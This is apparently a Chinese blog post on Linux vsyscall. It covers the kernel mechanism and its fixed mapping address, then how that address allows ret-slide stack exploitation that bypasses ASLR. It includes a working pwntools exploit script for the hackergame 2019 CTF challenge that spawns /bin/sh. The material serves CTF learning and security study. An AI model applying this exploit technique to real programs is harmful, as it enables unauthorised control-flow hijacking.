Vsyscall

2022-10-29

vsyscall的由来

众所周知,用户程序为了能够执行写入文件、获取报文等等需要内核权限才能做得功能时,往往都需要通过系统调用 从用户态切换到内核态,再执行相应的操作,最终返回到用户态
but!!! 系统调用 用户态/内核态 的开销实在是太大了,因为CPU需要中断当前执行的任务,切换内核上下文,系统调用完毕后,切换回用户上下文
但是吧,其实有些系统调用没必要花费这么大的开销来进行。
比如像gettimeofday这种系统调用,它只是从内核那读取数据,而不传输数据! 理论上不会造成内核的安全问题,因此可以直接将像gettimeofday(获取当前时间)的代码映射到用户空间上(这样避免了用户态-内核态的开销),而且使得获得的时间更加精确(在不需要切换到内核态时,代码运行速度快了不少,从申请获得时间 到实际打印时间 的间隔减少了)。
像这种 Linux 内核在用户空间映射一个包含一些变量及一些系统调用的实现的内存页被称为vsyscall

vsyscall分析

其源码如下:

#define VSYSCALL_ADDR (-10UL << 20) /* VSYSCALL_ADDR=0xFFFFFFFFFF600000 */

void __init map_vsyscall(void)
{
	extern char __vsyscall_page;
	unsigned long physaddr_vsyscall = __pa_symbol(&__vsyscall_page);
	if (vsyscall_mode != NONE) {
		__set_fixmap(VSYSCALL_PAGE, physaddr_vsyscall,
			     PAGE_KERNEL_VVAR);
		set_vsyscall_pgtable_user_bits(swapper_pg_dir);
	}
	BUILD_BUG_ON((unsigned long)__fix_to_virt(VSYSCALL_PAGE) !=
		     (unsigned long)VSYSCALL_ADDR);
}

直接看最后一行代码,VSYSCALL_PAGE映射的虚拟地址必须等于0xFFFFFFFFFF600000,任何开启了vsyscall机制的linux系统均是如此!!!
vsyscall的内存也包含了3个系统调用:

__vsyscall_page:
	mov $__NR_gettimeofday, %rax  //获取当前时间和时区信息
	syscall
	ret

	.balign 1024, 0xcc
	mov $__NR_time, %rax //获取系统时间(秒数)
	syscall
	ret

	.balign 1024, 0xcc
	mov $__NR_getcpu, %rax //确定调用线程正在运行的 CPU 和 NUMA 节点概要
	syscall
	ret

vsyscall利用

vsyscall的机制不变(0xFFFFFFFFFF600000),只要能满足特定利用条件,即使开了aslr而且编译器保护全开也能劫持控制流。
题目可以参考hackergame 2019 无法利用的漏洞
其利用条件:

  1. 存在栈溢出
  2. vsyscall开启
  3. 栈上没有清除已有的 libc地址信息或者 text段地址信息

存在上面的条件时,结合可以获得shell的函数的相对偏移(gadget或者其他),只需要利用vsyscall中的 ret指令进行滑栈,滑到本来就是libc或者text段的位置(覆盖低字节,可以是爆破),最后执行获得shell的函数

常见payload: (hackergame 2019 无法利用的漏洞 exp)

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import random, string
from hashlib import sha256
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
debug = 1

if debug:
    io = process('./impossible')
else:
    io = remote("127.0.0.1", 10001)

io.recvuntil("Hack me please!\n")
gdb.attach(io.pid)
vsyscall = 0xffffffffff600000
io.interactive()
io.send(p64(vsyscall)*30+'\x6b')
io.recv()
io.sendline('/bin/sh')
io.sendline('cat flag')
io.interactive()

vdso(virtual dynamic shared object)

虚拟动态链接库(vdso)是vsyscall的替代方案。
因为vsyscall的基地址不变,内核把那些系统调用放到vdso里面,然后用户程序在启动的时候通过动态链接操作,把这个vdso链到自己的内存空间中来。动态链接保证了vdso每次所在的地址都不一样,所以不太容易被利用,而且可以支持数量较多的系统调用。

关于vdso的利用,暂时还没遇到,先搁置一下~

references

https://github.com/ustclug/hackergame2019-writeups/blob/master/official/%E6%97%A0%E6%B3%95%E5%88%A9%E7%94%A8%E7%9A%84%E6%BC%8F%E6%B4%9E/README.md
https://www.cnblogs.com/luoleqi/p/13579478.html
https://marvinsblog.net/post/2016-03-07-lkd-notes-vsyscall-vdso/